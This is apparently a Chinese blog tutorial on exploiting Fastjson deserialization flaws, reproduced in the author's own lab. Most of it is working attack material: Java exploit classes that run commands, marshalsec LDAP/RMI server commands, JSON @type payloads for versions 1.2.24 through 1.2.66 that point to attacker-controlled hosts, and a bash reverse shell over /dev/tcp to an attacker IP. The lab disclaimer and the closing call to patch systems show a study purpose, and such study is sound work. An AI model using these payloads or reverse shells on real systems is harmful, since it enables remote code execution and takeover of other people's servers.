渗透测试之地基服务篇:服务攻防之框架Fastjson(下)
2023-2-15 00:5:29 Author: 橘猫学安全(查看原文) 阅读量:32 收藏

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

今天会讲解到学习Windows环境使用IDEA详细复现fastjson 1.2.24 反序列化漏洞、Fastjson 1.2.47 远程命令执行漏洞、Windows环境使用IDEA详细复现fastjson 1.2.47 反序列化漏洞、追溯历史漏洞情况等等操作,如果连Fastjson都不会安装操作提权等,怎么拿下对方服务器?

二、FastJson渗透总结

1、Windows环境使用IDEA详细复现fastjson 1.2.24 反序列化漏洞

1)创建Springboot项目

2)下载fastjson 1.2.24

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

3)编写路由解析代码

(1)创建controller.Login 它是一个控制器是一个路由用于解析请求

controller.Login.java:

@Controller
public class Login {
@RequestMapping(value = "/fastjson", method = RequestMethod.POST)
@ResponseBody
public JSONObject test(@RequestBody String data) {
JSONObject obj = JSON.parseObject(data);
JSONObject result = new JSONObject();
result.put("code", 200);
result.put("message", "success");
result.put("data", "Hello " + obj.get("name"));
return result;
}
}


目前有14个报错!后面解决!

(2)model.User 它是一个用户类 包含一些属性用于fastjson与数据对应解析

model.User.java:

public class User {
public String name;
public int age;
public String id_card;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public String getId_card() {
return id_card;
}

public void setId_card(String id_card) {
this.id_card = id_card;
}

}


目前有1个报错,后面解决!

4)编写路由解析代码15个报错解决

(1)解决controller.Login.java报错问题


在JSON报错处建议手动添加:

import com.alibaba.fastjson.JSON;

(2)解决model.User.java报错问题


成功解决15个问题!

5)启动springboot验证是否存在fastjson序列化问题

(1)启动springboot项目


成功启动!

(2)验证是否可执行一:

向这个地址POST一个JSON对象,即可更新服务端的信息:

curl http://192.168.253.112:8080/fastjson -H "Content-Type: application/json" --data '{"name":"dayu", "age":20}'


这是vulhub的验证方法!

(3)验证是否可执行二:

对我们搭建的项目也可以进行这么验证:

{
"@type": "com.example.demo.model.User",
"name": "dayu",
"age": 22,
"id_card": "12121"
}


@type是用于fastjson找到数据对应的类,下面的是User的属性值,既然要实例一个用户,并且有属性值,就要调用set和get方法,只要满足特定条件的,每个get方法都会被调用!

这里可以看到成功解析了数据!!

6)LDAP反序列化远程代码执行攻击

RMI < 8u121、LDAP < 8u182(本文复现使用LDAP)

(1)编写Exploit

public class Exploit {
public Exploit (){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

然后使用javac进行编译成class:

javac Exploit.java


和前面方法一样!

(2)开启http服务(必须在class目录下开启)

python -m SimpleHTTPServer 80

(3)使用marshalsec构建ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.253.9/#Exploit" 9999


这里要端口一致性!

(4)BP抓包进行远程执行:

{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.253.9:9999/Exploit",
"autoCommit":true
}


成功执行!


成功远程代码执行,反弹出了计算机!

7)RMI反序列化远程代码执行攻击

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.253.9/#Exploit" 9999

记得执行marshalsec为rmi类型!

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.253.9:9999/Exploit",
"autoCommit":true
}
}


可看到失败的,我们回头看看:

RMI < 8u121、LDAP < 8u182(本文复现使用LDAP)
这里很好的提供了RMI的利用限制,必须是java8低于121的版本!

看看我们IDEA搭建使用的java版本:


这里使用的是1.8_161明显超过了121,所以无法使用RMI执行反序列化远程代码!

2、Fastjson 1.2.47 远程命令执行漏洞

1)漏洞简介

(1)漏洞原理:

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

(2)影响版本:

Fastjson < 1.2.47

2)漏洞启动

开启FastJson漏洞并验证:

sudo docker-compose up -d
sudo docker ps

3)漏洞复现

(1)访问靶机:

http://192.168.253.7:8090/

(2)exploit创建并编译

目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class dayu {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/dayutest"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}


成功编译class!!

(3)marshalsec开启

我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类dayu.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.253.9/#dayu" 9999

(4)向靶场服务器发送Payload:

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.253.9:9999/dayu",
"autoCommit":true
}
}

(5)成功交互

可以看到成功执行!

4)反弹shell

"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.253.9/8899 0>&1"

编译class:

成功交互:

3、Windows环境使用IDEA详细复现fastjson 1.2.47 反序列化漏洞

记得先进行业务关闭在更新jar包:


成功部署!

验证漏洞:

curl http://192.168.253.112:8080/fastjson -H "Content-Type: application/json" --data '{"name":"dayu", "age":20}'

搭建marshalsec:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.253.9/#Exploit" 9999

执行poc:

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.253.9:9999/Exploit","autoCommit":true}}}


成功执行!

附上payload:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
//Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));

String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}

p.waitFor();
is.close();
reader.close();
p.destroy();
}

public static void main(String[] args) throws Exception {
}
}

三、追溯历史漏洞情况

1、fastjson<=1.2.41 漏洞详情

第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。
com.sun.rowset.JdbcRowSetImpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。

exp:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

2、fastjson<=1.2.42 漏洞详情

fastjson在1.2.42版本新增了校验机制。

if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}

如果输入类名的开头和结尾是L和;就将头和尾去掉,再进行黑名单验证。
还把黑名单的内容进行了加密,防止安全人员进行研究,增加了研究的门槛。
但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist
绕过方法,在类名外部嵌套2层L;。

原类名:com.sun.rowset.JdbcRowSetImpl
绕过:LLcom.sun.rowset.JdbcRowSetImpl;;

exp:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

3、fastjson<=1.2.45 漏洞详情

前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
使用黑名单绕过,org.apache.ibatis.datasource在1.2.46版本被加入了黑名单
由于在项目中使用的频率也较高,所以影响范围较大。

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

4、fastjson<=1.2.47 漏洞详情

2019年护网爆出的漏洞,对版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。
loadClass中默认cache设置为true,利用分为2步执行,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制。

exp:

{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://x.x.x.x:1098/jndi",
"autoCommit": true
}
}

5、fastjson<=1.2.62 漏洞详情

基于黑名单绕过exp:

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

6、fastjson<=1.2.66 漏洞详情

关于fastjson<=1.2.66网上相关的利用不多,收集到的几个exp,也是基于黑名单绕过。

exp:

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

四、总结

今天学到Windows环境使用IDEA详细复现fastjson 1.2.24 反序列化漏洞、Fastjson 1.2.47 远程命令执行漏洞、Windows环境使用IDEA详细复现fastjson 1.2.47 反序列化漏洞、追溯历史漏洞情况等等操作,最后远程代码执行控制服务器等操作,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!来巩固告知企业单位的漏洞情况,并尽快进行加固巩固安全!

服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)-> 服务攻防之中间件JBoss(中)-> 服务攻防之中间件JBoss(下)-> 服务攻防之中间件Weblogic(上)-> 服务攻防之中间件Weblogic(下)-> 服务攻防之中间件GlassFish(总)-> 服务攻防之中间件WebSphere(总)-> 服务攻防之框架Struts2(上)-> 服务攻防之框架Struts2(下)-> 服务攻防之框架Thinkphp(总)-> 服务攻防之框架Shiro(总)-> 服务攻防之框架Spring(上)-> 服务攻防之框架Spring(下)-> 服务攻防之框架FastJson(上)-> 服务攻防之框架FastJson(下)......

服务攻防到这里就结束了,接下来开启新的篇章无线攻防,敬请期待!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell
「 超详细 | 分享 」手把手教你如何进行内网渗透
神兵利器 | siusiu-渗透工具管理套件
一款功能全面的XSS扫描器
实战 | 一次利用哥斯拉马绕过宝塔waf
BurpCrypto: 万能网站密码爆破测试工具
快速筛选真实IP并整理为C段 -- 棱眼
自动探测端口顺便爆破工具t14m4t
渗透工具|无状态子域名爆破工具(1秒扫160万个子域)
查看更多精彩内容,还请关注橘猫学安全:
每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247504024&idx=2&sn=12168dcdcfd2cf497b3378a073f689a3&chksm=c04d57a6f73adeb0b7ec95fa18fcd5242c726bd769bf156e7368d7cd7aa0dde970cbb5e6c720#rd
如有侵权请联系:admin#unsafe.sh